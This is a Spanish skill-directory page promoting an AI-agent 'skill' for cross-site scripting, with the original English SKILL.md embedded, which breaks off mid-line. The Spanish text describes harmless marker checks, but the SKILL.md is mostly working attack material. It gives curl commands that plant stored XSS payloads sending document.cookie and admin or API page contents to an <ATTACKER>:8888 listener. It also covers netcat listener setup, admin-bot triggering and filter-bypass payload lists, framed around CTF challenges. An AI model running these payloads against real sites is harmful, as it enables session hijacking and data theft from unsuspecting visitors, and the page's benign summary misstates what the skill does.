Saltar al contenido
Skillpedia
Seguridad6,5 mil · #14088

xss

Qué hace

Esta guía cubre los fallos de cross-site scripting, en los que una aplicación ejecuta código no fiable en el navegador de un visitante. Está pensada para desarrolladores y probadores de seguridad que comprueban cómo se limpian la entrada y la salida.

Cuándo usarla

  • ✓Cuando una prueba autorizada encuentra una entrada que aparece sin cambios en una página.
  • ✓Cuando un campo de búsqueda, un comentario o un perfil muestra contenido del usuario en la pantalla de otros visitantes.
  • ✓Cuando un equipo quiere comprobar su política de seguridad de contenido frente a la inyección de scripts.

Link de la skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/xss/SKILL.md

Cópialo y pégalo en tu IA (Claude, ChatGPT o Cursor) pidiéndole que siga las instrucciones.

Cómo usar

La forma más fácil: copia el mensaje y pégalo en tu IA. Ella lee la skill y sigue las instrucciones.

Mensaje listo para pegar

Usa esta skill para ayudarme: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/xss/SKILL.md Lee el archivo SKILL.md de ese link y sigue sus instrucciones en mi tarea.
¿Quieres que tu IA encuentre skills como esta por sí sola?Instala el MCP gratis de Skillpedia: una línea, y busca entre 15.000+ skills antes de cada tarea.Instalar en 1 minuto →

Ejemplo de qué pedirle a la IA

“Nuestra página de búsqueda parece mostrar lo que escriben los usuarios sin limpiarlo. ¿Puedes comprobar si eso es un riesgo de cross-site scripting?”

5 skills nuevas por semana. 1 minuto de lectura.

Cómo funciona

El agente envía un texto de marcador inofensivo, comprueba si aparece sin escapar en la página e informa de dónde la salida necesita una codificación adecuada o una política de contenido más estricta.

Contenido técnico (SKILL.md original)

Texto original del autor, en inglés, directo de GitHub.

Cross-Site Scripting (XSS) Exploitation

Exploits insufficient input/output sanitization to execute JavaScript in a victim's browser context.

Win Condition — Identify FIRST

Pattern A — Bot/Cookie Chain (classic CTF):

  • A headless browser bot visits a URL you supply via /report or /contact
  • Goal: exfiltrate document.cookie or admin page content to your listener
  • Signals: /report endpoint exists, challenge mentions "admin visits", cookie in session

Pattern B — Server-Side Alert Trigger (Cross 30/31/32 series):

  • NO bot, NO cookie exfiltration, NO /report endpoint (returns 404)
  • The challenge evaluates reflected JS server-side; alert("XSS") or alert(1) in the response = flag
  • Flag appears directly in the HTTP response body when alert triggers
  • Signals: challenge name contains "Cross", filter says "Sorry, you can't use that tag", new_umbrella / error_umbrella in response, alphanumeric filter active
  • Do NOT: start listeners, look for /report, try document.cookie (setter is frozen — TypeError)

Quick check which pattern:

curl -s "$TARGET/report" -o /dev/null -w "%{http_code}"  # 404 = Pattern B (Cross)
curl -s "$TARGET/" | grep -i "report\|bot\|admin"        # Pattern A signals

Detection

# Reflected XSS probe — check if input is reflected unescaped
curl -s 'http://<TARGET>/search?q=<script>alert(1)</script>' | grep -i '<script>alert(1)'

# Check for reflection in different contexts
curl -s 'http://<TARGET>/search?q=xss"test' | grep 'xss"test'        # attribute context
curl -s 'http://<TARGET>/search?q=xss'"'"'test' | grep "xss'test"    # JS string context

# Test attribute injection
curl -s 'http://<TARGET>/page?name=test"onmouseover="alert(1)' | grep 'onmouseover'

# Test common input fields via POST
curl -s 'http://<TARGET>/comment' -d 'body=<img src=x onerror=alert(1)>'
curl -s 'http://<TARGET>/register' -d 'username=<script>alert(1)</script>&password=test'

Stored XSS with Bot Exfiltration (CTF Pattern)

The standard CTF XSS workflow:

  1. Find a stored input (comments, profiles, messages)
  2. Inject a payload that exfiltrates data when the admin bot views it
  3. Trigger the bot (usually a /report endpoint)
  4. Receive exfiltrated flag on your listener
# 1. Start a listener to receive exfiltrated data
python3 -m http.server 8888 &
# Or use netcat:
nc -lvnp 8888 &

# 2. Inject stored XSS that exfiltrates cookies
# Basic cookie steal
curl -s 'http://<TARGET>/comment' -d 'body=<script>fetch("http://<ATTACKER>:8888/?c="+document.cookie)</script>'

# Image tag (bypasses many filters that block <script>)
curl -s 'http://<TARGET>/comment' -d 'body=<img src=x onerror="fetch(`http://<ATTACKER>:8888/?c=${document.cookie}`)">'

# SVG-based
curl -s 'http://<TARGET>/comment' -d 'body=<svg onload="fetch(`http://<ATTACKER>:8888/?c=${document.cookie}`)">'

# Fetch admin page content and exfiltrate
curl -s 'http://<TARGET>/comment' -d 'body=<script>fetch("/admin").then(r=>r.text()).then(t=>fetch("http://<ATTACKER>:8888/?d="+btoa(t)))</script>'

# Fetch sensitive endpoint directly (adjust path to observed app structure)
curl -s 'http://<TARGET>/comment' -d 'body=<script>fetch("/api/secret").then(r=>r.text()).then(t=>fetch("http://<ATTACKER>:8888/?f="+btoa(t)))</script>'

# 3. Trigger the bot to visit the page with injected XSS
curl -s 'http://<TARGET>/report' -d 'url=http://<TARGET>/page-with-stored-xss'
curl -s 'http://<TARGET>/report' -d 'url=/page-with-stored-xss'

# 4. Check listener output — decode base64 if used
echo '<base64_response>' | base64 -d

Reflected XSS Flag Extraction

# If the flag is in the admin's cookie and there's a report/visit endpoint:
# Craft URL with reflected XSS that steals cookies
PAYLOAD='<script>fetch("http://<ATTACKER>:8888/?c="+document.cookie)</script>'
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")
curl -s "http://<TARGET>/report" -d "url=http://<TARGET>/search?q=$ENCODED"

Filter Bypass Techniques

# Case variation
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x OnErRoR=alert(1)>

# No parentheses
<img src=x onerror="alert`1`">
<img src=x onerror="window['alert'](1)">

# No quotes / no spaces
<img/src=x/onerror=alert(1)>
<svg/onload=alert(1)>

# HTML entity encoding bypass
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;(1)">

# JavaScript URL scheme
<a href="javascript:alert(1)">click</a>
<iframe src="javascript:alert(1)">

# Event handlers (bypass <script> tag bloc
Preguntas frecuentes

¿Cuáles son los tres tipos?

La guía cubre el cross-site scripting reflejado, almacenado y basado en DOM.

¿Qué es una política de seguridad de contenido?

Es un ajuste del navegador que limita qué scripts puede ejecutar una página, y la guía lo menciona como defensa.

¿Cómo se confirma un hallazgo?

Mostrando que el texto de prueba aparece sin escapar en una página donde debería estar codificado.

Detalles

Descripción original del autor

Cross-Site Scripting (XSS) — reflected, stored, DOM-based XSS exploitation. Covers filter bypass, CSP evasion, bot-triggered cookie exfiltration, admin page scraping, and headless browser flag extraction. Use for any challenge involving client-side JavaScript injection, Cross payloads, cookie theft, or browser-based exploitation.

repo: BitterSecurity/Decepticon

Popularidad

Estrellas en GitHub
6,5 mil
Posición en el ranking
#14088
Licencia
Apache-2.0
Actualizada
1/11/2026

¿Te sirve esta skill?

0

Entra para votar.

Comentarios

  • …

Más skills de este repositorio

Skills parecidas